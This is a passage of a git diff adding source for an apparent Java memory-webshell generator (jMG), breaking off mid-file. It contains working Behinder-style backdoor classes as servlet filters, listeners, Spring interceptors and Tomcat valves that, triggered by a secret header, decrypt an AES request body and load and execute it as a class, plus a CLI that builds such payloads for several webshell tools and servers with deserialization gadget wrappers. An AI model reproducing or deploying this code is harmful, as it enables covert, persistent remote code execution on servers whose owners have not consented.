+                (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
+            } else {
+                filterChain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            filterChain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+    public byte[] doBase64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+
+    public void init(FilterConfig filterConfig) throws ServletException {
+    }
+
+    public void destroy() {
+    }
+}

jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java

@@ -0,0 +1,78 @@
+package jmg.behinder.memshell;
+
+import org.springframework.web.servlet.AsyncHandlerInterceptor;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.UUID;
+
+public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
+
+
+    public String pass;
+
+    public String headerName;
+
+    public String headerValue;
+
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+
+    public BehinderInterceptor(ClassLoader c) {
+        super(c);
+    }
+
+
+    public BehinderInterceptor() {
+    }
+
+    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
+        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+            try {
+                HttpSession session = request.getSession();
+                Map obj = new HashMap();
+                obj.put("request", request);
+                obj.put("response", response);
+                obj.put("session", session);
+                session.putValue("u", this.pass);
+                Cipher c = Cipher.getInstance("AES");
+                c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+                (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+            } catch (Exception e) {
+            }
+            return false;
+        } else {
+            return true;
+        }
+    }
+
+    public static byte[] b64Decode(String bs) throws Exception {
+        byte[] value = null;
+
+        Class base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
+            } catch (Exception var5) {
+            }
+        }
+
+        return value;
+    }
+}
+

jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderJakartaFilter.java

@@ -0,0 +1,73 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import jakarta.servlet.*;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.HttpSession;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class BehinderJakartaFilter extends ClassLoader implements Filter {
+    public String pass;
+    public String headerName;
+    public String headerValue;
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+    public BehinderJakartaFilter() {
+    }
+
+    public BehinderJakartaFilter(ClassLoader c) {
+        super(c);
+    }
+
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+
+        try {
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                HttpSession session = ((HttpServletRequest) servletRequest).getSession();
+                Map obj = new HashMap();
+                obj.put("request", servletRequest);
+                obj.put("response", response);
+                obj.put("session", session);
+
+                // fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
+                // java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
+//                session.putValue("u", this.pass);
+                session.setAttribute("u", pass);
+                Cipher c = Cipher.getInstance("AES");
+                c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+                (new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
+            } else {
+                filterChain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            filterChain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+    public byte[] doBase64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+
+    public void init(FilterConfig filterConfig) throws ServletException {
+    }
+
+    public void destroy() {
+    }
+}

jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderJakartaListener.java

@@ -0,0 +1,98 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import jakarta.servlet.ServletRequestEvent;
+import jakarta.servlet.ServletRequestListener;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.HttpSession;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
+    public String pass;
+
+    public String headerName;
+
+    public String headerValue;
+
+
+    public BehinderJakartaListener() {
+    }
+
+    public BehinderJakartaListener(ClassLoader c) {
+        super(c);
+    }
+
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+
+    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+    }
+
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                HttpServletResponse response = this.getResponseFromRequest(request);
+                HttpSession session = request.getSession();
+                Map obj = new HashMap();
+                obj.put("request", request);
+                obj.put("response", response);
+                obj.put("session", session);
+                try {
+//                    session.putValue("u", pass);
+                    session.setAttribute("u", pass);
+                    Cipher c = Cipher.getInstance("AES");
+                    c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
+                    (new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+                } catch (Exception var7) {
+                }
+            }
+        } catch (Exception e) {
+
+        }
+
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+        return null;
+    }
+
+    private static synchronized Object getFV(Object var0, String var1) throws Exception {
+        Field var2 = null;
+        Class var3 = var0.getClass();
+
+        while (var3 != Object.class) {
+            try {
+                var2 = var3.getDeclaredField(var1);
+                break;
+            } catch (NoSuchFieldException var5) {
+                var3 = var3.getSuperclass();
+            }
+        }
+
+        if (var2 == null) {
+            throw new NoSuchFieldException(var1);
+        } else {
+            var2.setAccessible(true);
+            return var2.get(var0);
+        }
+    }
+
+    public byte[] base64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+}

jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java

@@ -0,0 +1,97 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+public class BehinderListener extends ClassLoader implements ServletRequestListener {
+    public String pass;
+
+    public String headerName;
+
+    public String headerValue;
+
+
+    public BehinderListener() {
+    }
+
+    public BehinderListener(ClassLoader c) {
+        super(c);
+    }
+
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+
+    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+    }
+
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                HttpServletResponse response = this.getResponseFromRequest(request);
+                HttpSession session = request.getSession();
+                Map obj = new HashMap();
+                obj.put("request", request);
+                obj.put("response", response);
+                obj.put("session", session);
+                try {
+                    session.putValue("u", pass);
+                    Cipher c = Cipher.getInstance("AES");
+                    c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
+                    (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+                } catch (Exception var7) {
+                }
+            }
+        } catch (Exception e) {
+
+        }
+
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+        return null;
+    }
+
+    private static synchronized Object getFV(Object var0, String var1) throws Exception {
+        Field var2 = null;
+        Class var3 = var0.getClass();
+
+        while (var3 != Object.class) {
+            try {
+                var2 = var3.getDeclaredField(var1);
+                break;
+            } catch (NoSuchFieldException var5) {
+                var3 = var3.getSuperclass();
+            }
+        }
+
+        if (var2 == null) {
+            throw new NoSuchFieldException(var1);
+        } else {
+            var2.setAccessible(true);
+            return var2.get(var0);
+        }
+    }
+
+    public byte[] base64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+}

jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderValve.java

@@ -0,0 +1,89 @@
+package jmg.behinder.memshell;
+
+import org.apache.catalina.Valve;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpSession;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class BehinderValve extends ClassLoader implements Valve {
+    protected Valve next;
+    protected boolean asyncSupported;
+
+    public String pass;
+
+    public String headerName;
+
+    public String headerValue;
+
+    public BehinderValve() {
+    }
+
+    public BehinderValve(ClassLoader c) {
+        super(c);
+    }
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+    @Override
+    public Valve getNext() {
+        return this.next;
+    }
+
+    @Override
+    public void setNext(Valve valve) {
+        this.next = valve;
+    }
+
+    @Override
+    public boolean isAsyncSupported() {
+        return this.asyncSupported;
+    }
+
+    @Override
+    public void backgroundProcess() {
+    }
+
+    @Override
+    public void invoke(Request request, Response response) throws IOException, ServletException {
+        try {
+            if (request.getHeader(headerName).contains(headerValue)) {
+                HttpSession session = (request.getSession());
+                Map obj = new HashMap();
+                obj.put("request", request);
+                obj.put("response", response);
+                obj.put("session", session);
+                session.putValue("u", pass);
+                Cipher c = Cipher.getInstance("AES");
+                c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
+                (new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+            } else {
+                // 重要: 没有这一步会将目标服务器打挂
+                this.getNext().invoke(request, response);
+            }
+        } catch (Exception e) {
+            this.getNext().invoke(request, response);
+        }
+
+    }
+
+    public byte[] base64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+}

jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java

@@ -0,0 +1,51 @@
+package jmg.behinder.util;
+
+import jmg.behinder.memshell.*;
+import jmg.core.config.Constants;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class ShellUtil {
+
+    private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
+    private static final Map<String, Map<String, String>> toolMap = new HashMap();
+
+    public ShellUtil() {
+    }
+
+    public static String getShellName(String toolType, String shellType) {
+        Map<String, String> shellMap = toolMap.get(toolType);
+        return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
+    }
+
+    public static String getShellClassName(String shellName) throws Exception {
+        if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
+            throw new Exception("Invalid shell type '" + shellName + "'");
+        } else {
+            return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
+        }
+    }
+
+    static {
+        SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
+        SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
+        SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
+        SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
+        SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
+        SHELL_CLASSNAME_MAP.put(BehinderValve.class.getSimpleName(), BehinderValve.class.getName());
+
+        Map<String, String> behinderMap = new HashMap();
+        behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
+        behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
+        behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
+        behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
+        behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
+        behinderMap.put(Constants.SHELL_VALVE, BehinderValve.class.getSimpleName());
+
+        toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
+
+    }
+
+
+}

jmg-cli/pom.xml

@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>jmg</groupId>
+        <artifactId>java-memshell-generator</artifactId>
+        <version>1.0.8</version>
+    </parent>
+
+    <artifactId>jmg-cli</artifactId>
+
+    <properties>
+        <maven.compiler.source>8</maven.compiler.source>
+        <maven.compiler.target>8</maven.compiler.target>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+    </properties>
+
+    <dependencies>
+        <!-- https://mvnrepository.com/artifact/org.jline/jline -->
+        <dependency>
+            <groupId>org.jline</groupId>
+            <artifactId>jline</artifactId>
+            <version>3.21.0</version>
+        </dependency>
+        <dependency>
+            <groupId>jmg</groupId>
+            <artifactId>jmg-sdk</artifactId>
+            <version>${parent.version}</version>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-assembly-plugin</artifactId>
+                <version>3.6.0</version>
+                <configuration>
+                    <descriptorRefs>
+                        <descriptorRef>jar-with-dependencies</descriptorRef>
+                    </descriptorRefs>
+                    <archive>
+                        <manifest>
+                            <mainClass>jmg.cli.CLIApp</mainClass>
+                        </manifest>
+                    </archive>
+                    <appendAssemblyId>false</appendAssemblyId>
+                    <outputDirectory>../releases</outputDirectory>
+                </configuration>
+                <executions>
+                    <execution>
+                        <id>make-assembly</id>
+                        <phase>package</phase>
+                        <goals>
+                            <goal>single</goal>
+                        </goals>
+                    </execution>
+                </executions>
+            </plugin>
+        </plugins>
+    </build>
+</project>

jmg-cli/src/main/java/jmg/cli/CLIApp.java

@@ -0,0 +1,9 @@
+package jmg.cli;
+
+public class CLIApp {
+    public static void main(String[] args) throws Throwable {
+        Console console = new Console();
+        console.init();
+        console.run();
+    }
+}

jmg-cli/src/main/java/jmg/cli/Console.java

@@ -0,0 +1,234 @@
+package jmg.cli;
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.sdk.jMGenerator;
+import jmg.sdk.util.SDKResultUtil;
+import org.jline.reader.LineReader;
+import org.jline.reader.LineReaderBuilder;
+import org.jline.reader.impl.completer.StringsCompleter;
+import org.jline.terminal.Terminal;
+import org.jline.terminal.TerminalBuilder;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+
+public class Console {
+
+    private static AbstractConfig config = new AbstractConfig();
+    private static final List<String> SERVER_TYPES = Arrays.asList(
+            Constants.SERVER_TOMCAT,
+            Constants.SERVER_SPRING_MVC,
+            Constants.SERVER_JETTY,
+            Constants.SERVER_RESIN,
+            Constants.SERVER_WEBLOGIC,
+            Constants.SERVER_WEBSPHERE,
+            Constants.SERVER_UNDERTOW,
+            Constants.SERVER_GLASSFISH,
+            Constants.SERVER_JBOSS);
+    private static final List<String> TOOL_TYPES = Arrays.asList(
+            Constants.TOOL_GODZILLA,
+            Constants.TOOL_BEHINDER,
+            Constants.TOOL_ANTSWORD,
+            Constants.TOOL_SUO5,
+            Constants.TOOL_NEOREGEORG);
+
+    private static final List<String> SHELL_TYPES = Arrays.asList(
+            Constants.SHELL_LISTENER,
+            Constants.SHELL_FILTER,
+            Constants.SHELL_INTERCEPTOR);
+
+    private static final List<String> FORMAT_TYPES = Arrays.asList(
+            Constants.FORMAT_BASE64,
+            Constants.FORMAT_BCEL,
+            Constants.FORMAT_BIGINTEGER,
+            Constants.FORMAT_CLASS,
+            Constants.FORMAT_JAR,
+            Constants.FORMAT_JAR_AGENT,
+            Constants.FORMAT_JSP);
+
+    private static final List<String> GADGET_TYPES = Arrays.asList(
+            Constants.GADGET_NONE,
+            Constants.GADGET_JDK_TRANSLET,
+            Constants.GADGET_XALAN_TRANSLET,
+            Constants.GADGET_FJ_GROOVY,
+            Constants.GADGET_SNAKEYAML);
+
+
+    public void init() {
+        System.out.println(String.format("Welcome to jMG %s !", Constants.JMG_VERSION));
+        config = new AbstractConfig() {{
+            // 设置工具类型
+            setToolType(Constants.TOOL_GODZILLA);
+            // 设置中间件 or 框架
+            setServerType(Constants.SERVER_TOMCAT);
+            // 设置内存马类型
+            setShellType(Constants.SHELL_LISTENER);
+            // 设置输出格式为 BASE64
+            setOutputFormat(Constants.FORMAT_BASE64);
+            // 设置漏洞利用封装，默认不启用
+            setGadgetType(Constants.GADGET_NONE);
+            // 初始化基础配置
+            build();
+        }};
+
+    }
+
+    public void run() throws Throwable {
+        List<String> commands = Arrays.asList("help", "list", "use", "set", "show", "generate", "info", "exit");
+        Terminal terminal = TerminalBuilder.builder().build();
+        LineReader lineReader = LineReaderBuilder.builder()
+                .terminal(terminal)
+                .completer(new StringsCompleter(commands))
+                .build();
+
+        String prompt = "jmg > ";
+        String line;
+        while (true) {
+            line = lineReader.readLine(prompt);
+            String[] parts = line.trim().split("\\s+");
+            String command = parts[0];
+            String argument1 = parts.length > 1 ? parts[1] : null;
+            String argument2 = parts.length > 2 ? parts[2] : null;
+            switch (command) {
+                case "help":
+                    help();
+                    break;
+                case "list":
+                    list(argument1);
+                    break;
+                case "use":
+                    use(argument1, argument2);
+                    break;
+                case "set":
+                    set(argument1, argument2);
+                    break;
+                case "get":
+                    get(argument1);
+                    break;
+                case "generate":
+                    generate();
+                    break;
+                case "info":
+                    info();
+                    break;
+                case "exit":
+                    System.out.println("Bye!");
+                    return;
+                default:
+                    System.out.println("Unknown command: " + line);
+            }
+        }
+    }
+
+    public static void help() {
+        String[][] helpMessages = {
+                {"help", "help message", "帮助信息"},
+                {"list [type]", "list toolTypes/serverTypes/formatTypes/shellTypes", "支持的工具类型/中间件|框架/组件类型/输出格式"},
+                {"use <type> <name>", "choose toolType/serverType/formatType/shellType", "选择工具类型/中间件|框架/组件类型/输出格式"},
+                {"set <key> <value>", "set pass/key/headerName/headerValue/urlPattern/...", "设置密码/密钥/请求头名称/请求头值/请求路径[/*]/..."},
+                {"get <type>", "get <type> or <key>", "查看配置"},
+                {"generate", "generate payload", "生成载荷"},
+                {"info", "connect info", "连接信息"},
+                {"exit", "exit jmg", "退出"}
+        };
+
+        for (String[] message : helpMessages) {
+            System.out.println(String.format("%-20s %-50s %-40s", message[0], message[1], message[2]));
+        }
+    }
+
+
+    public static void list(String argument1) {
+        if ("serverTypes".equalsIgnoreCase(argument1)) {
+            System.out.println("Servers: " + SERVER_TYPES);
+        } else if ("toolTypes".equalsIgnoreCase(argument1)) {
+            System.out.println("Tools: " + TOOL_TYPES);
+        } else if ("shellTypes".equalsIgnoreCase(argument1)) {
+            System.out.println("Shells: " + SHELL_TYPES);
+        } else if ("formatTypes".equalsIgnoreCase(argument1)) {
+            System.out.println("Formats: " + FORMAT_TYPES);
+        } else if ("gadgetTypes".equalsIgnoreCase(argument1)) {
+            System.out.println("Gadgets: " + GADGET_TYPES);
+        } else {
+            System.out.println("Unknown type: " + argument1);
+        }
+    }
+
+    public static void get(String argument1) {
+        try {
+            String methodName = "get" + argument1.substring(0, 1).toUpperCase() + argument1.substring(1);
+            Method method = config.getClass().getMethod(methodName);
+            System.out.println(argument1 + " : " + method.invoke(config));
+        } catch (NoSuchMethodException e) {
+            System.out.println("Unknown type: " + argument1);
+        } catch (IllegalAccessException | InvocationTargetException e) {
+            System.out.println("Error getting value for type: " + argument1);
+        }
+    }
+
+    public static void use(String argument1, String argument2) {
+        if ("serverType".equalsIgnoreCase(argument1)) {
+            if (!SERVER_TYPES.contains(argument2)) {
+                System.out.println("Unsupported server type: " + argument2);
+                return;
+            }
+            set("serverType", argument2);
+        } else if ("toolType".equalsIgnoreCase(argument1)) {
+            if (!TOOL_TYPES.contains(argument2)) {
+                System.out.println("Unsupported tool type: " + argument2);
+                return;
+            }
+            set("toolType", argument2);
+        } else if ("shellType".equalsIgnoreCase(argument1)) {
+            if (!SHELL_TYPES.contains(argument2)) {
+                System.out.println("Unsupported shell type: " + argument2);
+                return;
+            }
+            set("shellType", argument2);
+        } else if ("formatType".equalsIgnoreCase(argument1)) {
+            if (!FORMAT_TYPES.contains(argument2)) {
+                System.out.println("Unsupported format type: " + argument2);
+                return;
+            }
+            set("outputFormat", argument2);
+        } else if ("gadgetType".equalsIgnoreCase(argument1)) {
+            if (!GADGET_TYPES.contains(argument2)) {
+                System.out.println("Unsupported gadget type: " + argument2);
+                return;
+            }
+            set("gadgetType", argument2);
+        } else {
+            System.out.println("Unknown type: " + argument1);
+        }
+    }
+
+    public static void set(String argument1, String argument2) {
+        try {
+            String methodName = "set" + argument1.substring(0, 1).toUpperCase() + argument1.substring(1);
+            Method method = config.getClass().getMethod(methodName, String.class);
+            method.invoke(config, argument2);
+            System.out.println(argument1 + " : " + argument2);
+        } catch (NoSuchMethodException e) {
+            System.out.println("Unknown key: " + argument1);
+        } catch (IllegalAccessException | InvocationTargetException e) {
+            System.out.println("Error setting value for key: " + argument1);
+        }
+    }
+
+    public static void generate() throws Throwable {
+        // 更新配置
+        config.build();
+        jMGenerator generator = new jMGenerator(config);
+        generator.genPayload();
+        generator.printPayload();
+    }
+
+    public static void info() throws Throwable {
+        // 连接信息
+        SDKResultUtil.printBasicInfo(config);
+        SDKResultUtil.printDebugInfo(config);
+    }
+}

jmg-core/pom.xml

@@ -0,0 +1,81 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <parent>
+        <artifactId>java-memshell-generator</artifactId>
+        <groupId>jmg</groupId>
+        <version>1.0.8</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+    <artifactId>jmg-core</artifactId>
+
+    <dependencies>
+        <!-- https://mvnrepository.com/artifact/org.springframework/spring-web -->
+        <dependency>
+            <groupId>org.springframework</groupId>
+            <artifactId>spring-web</artifactId>
+            <version>5.3.29</version>
+        </dependency>
+        <!-- https://mvnrepository.com/artifact/org.springframework/spring-webflux -->
+        <dependency>
+            <groupId>org.springframework</groupId>
+            <artifactId>spring-webflux</artifactId>
+            <version>5.3.29</version>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.servlet</groupId>
+            <artifactId>jakarta.servlet-api</artifactId>
+            <version>5.0.0</version>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.tomcat</groupId>
+            <artifactId>tomcat-catalina</artifactId>
+            <version>8.5.58</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-juli</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-jni</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-coyote</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-util</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-util-scan</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-annotations-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-el-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-jsp-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-servlet-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.apache.tomcat</groupId>
+                    <artifactId>tomcat-jaspic-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+    </dependencies>
+</project>

jmg-core/src/main/java/jmg/core/config/AbstractConfig.java

@@ -0,0 +1,436 @@
+package jmg.core.config;
+
+import jmg.core.util.ClassNameUtil;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.RandomHttpHeaderUtil;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class AbstractConfig {
+
+
+    private String injectorClassName;
+
+    public String getInjectorClassName() {
+        return injectorClassName;
+    }
+
+    public void setInjectorClassName(String injectorClassName) {
+        this.injectorClassName = injectorClassName;
+    }
+
+
+    private boolean implementsASTTransformationType = false;
+
+    private boolean implementsScriptEngineFactory = false;
+
+    public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
+        this.implementsASTTransformationType = implementsASTTransformationType;
+    }
+
+    public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
+        this.implementsScriptEngineFactory = implementsScriptEngineFactory;
+    }
+
+    public boolean isImplementsASTTransformationType() {
+        return implementsASTTransformationType;
+    }
+
+    public boolean isImplementsScriptEngineFactory() {
+        return implementsScriptEngineFactory;
+    }
+
+
+    private String injectorSimpleClassName;
+
+    public String getInjectorSimpleClassName() {
+        return injectorSimpleClassName;
+    }
+
+    public void setInjectorSimpleClassName(String injectorSimpleClassName) {
+        this.injectorSimpleClassName = injectorSimpleClassName;
+    }
+
+
+    private byte[] injectorBytes;
+
+    public byte[] getInjectorBytes() {
+        return injectorBytes;
+    }
+
+    public void setInjectorBytes(byte[] injectorBytes) {
+        this.injectorBytes = injectorBytes;
+    }
+
+
+    private int injectorBytesLength;
+
+    public int getInjectorBytesLength() {
+        return injectorBytesLength;
+    }
+
+    public void setInjectorBytesLength(int injectorBytesLength) {
+        this.injectorBytesLength = injectorBytesLength;
+    }
+
+
+    private String shellClassName;
+
+    public String getShellClassName() {
